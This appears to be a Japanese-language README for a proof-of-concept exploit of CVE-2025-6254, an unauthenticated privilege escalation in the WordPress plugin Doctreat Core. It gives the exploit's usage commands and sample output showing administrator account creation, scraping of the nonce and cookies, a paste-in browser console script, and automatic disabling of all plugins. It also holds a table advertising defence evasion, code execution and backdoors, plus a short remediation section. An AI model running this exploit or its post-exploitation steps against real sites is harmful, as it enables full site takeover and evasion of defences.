
CVE-2025-6254 — Doctreat Core <= 1.6.8 — 認証されていない権限昇格
WordPressプラグイン Doctreat Core バージョン <= 1.6.8 には、認証なし特権昇格 の脆弱性があります。この重大な欠陥により、認証されていない攻撃者 が、プラグインの登録AJAXエンドポイントを通じて直接 管理者 アカウントを作成できます。
脆弱性は、hooks/hooks.php の doctreat_process_registration() 関数に起因します。この関数は、ユーザーが送信したPOSTデータから直接 user_type パラメータを受け入れ、適切な認可や許可リスト検証を行わずに、それを role パラメータとして wp_update_user() に渡します。プラグインは esc_sql()(ロールを検証しない)を適用するだけであり、公開登録においてそのロールが 安全 かどうかを決してチェックしません。
画期的な発見: Doctreat が使用する nonce(scripts_vars.ajax_nonce)は、アクティブな Doctreat テーマの公開ページすべてで公開されています。通常、ユーザーが "doctors"、"hospitals"、または "regular_users" として登録するかどうかを制御する user_type パラメータは、POST で user_type=administrator に上書き可能であり、この値が WordPress の role パラメータとして直接渡されます。
/wp-admin/admin-ajax.php?action=doctreat_process_registrationuser_type=administrator を送信ajax_nonce をスクレイピング// doctreat_core/hooks/hooks.php ~ line 296
wp_update_user( array(
'ID' => esc_sql( $user_identity ),
'role' => esc_sql( $user_type ), // ← user_type from $_POST via extract($_POST)
'user_status' => 0
) );
// ~ line 311 — Sets _is_verified after registration
update_user_meta( $user_identity, '_is_verified', 'no' );
注: デフォルトの確認設定($verify_userが空または'remove')のターゲットでは、ユーザーは自動的に確認され、即座に管理者アクセスを得ます。電子メール確認または管理者承認が有効なターゲットでは、追加の確認手順が必要です。
python3 CVE-2025-6254_exploit.py target.com
python3 CVE-2025-6254_exploit.py https://target.com
python3 CVE-2025-6254_exploit.py http://target.com:8080
python3 CVE-2025-6254_exploit.py target.com username password
============================================================
CVE-2025-6254 PoC - Doctreat Core Privilege Escalation
============================================================
[*] Target: https://target.com
[+] Found nonce from https://target.com/: abc123xyz
[*] Sending registration request...
[*] Username: hackeradmin1234
[*] Role: administrator
[+] EXPLOIT SUCCESSFUL!
[+] Username: hackeradmin1234
[+] Password: Password@1234!
[+] Email: [email protected]
[+] Role: ADMINISTRATOR
[*] Attempting to login and extract cookies...
[*] Trying Doctreat admin-ajax.php login...
[*] AJAX login status: 200
[*] AJAX login response: {"type":"success","loggedin":true,...}
[+] LOGIN SUCCESSFUL! AUTH COOKIES EXTRACTED!
[+] JAVASCRIPT CONSOLE SCRIPT (COPY & PASTE):
// Paste this in browser DevTools console for instant admin access
[*] PHASE 2: AUTO-DISABLE ALL PLUGINS (PYTHON)
[*] Fetching plugin list from: https://target.com/wp-admin/plugins.php
[+] Found nonce: def456uvw
[+] Found 15 active plugins
[*] Disabling all plugins via bulk action...
[+] ALL PLUGINS DISABLED SUCCESSFULLY!
エクスプロイト実行後、生成されたJavaScriptをコピーしてブラウザのDevToolsコンソール(F12)に貼り付けます:
(function() {
'use strict';
console.log('[*] Starting WordPress admin access...');
// ... cookies set automatically ...
window.location.href = 'https://target.com/wp-admin/';
})();
requests ライブラリ (pip install requests)// SECURE: Allowlist only safe roles for public registration
$allowed_roles = array('doctors', 'hospitals', 'regular_users', 'seller');
if (!in_array($user_type, $allowed_roles, true)) {
$user_type = 'regular_users'; // ← Reject ALL dangerous roles
}
current_user_can('create_users') ケイパビリティチェックを追加wp_update_user() に渡す前に user_type を検証この情報は、教育目的および許可されたペネトレーションテスト目的でのみ提供されます。コンピュータシステムへの不正な悪用は違法であり、非倫理的です。所有していないターゲットをテストする前に、必ず明示的な書面による許可を得てください。
| 能力 | 影響 |
|---|
| 🔑 ログインなしで管理者アカウント作成 | 完全なサイト乗っ取り |
| 🎛️ 全セキュリティプラグインの自動無効化 | 防御回避 |
| 💉 プラグイン/テーマPHPファイルの編集 | リモートコード実行 |
| 🕳️ 隠しバックドアのインストール | 永続的アクセス |
| 👥 全ユーザーデータの閲覧 | プライバシー侵害 |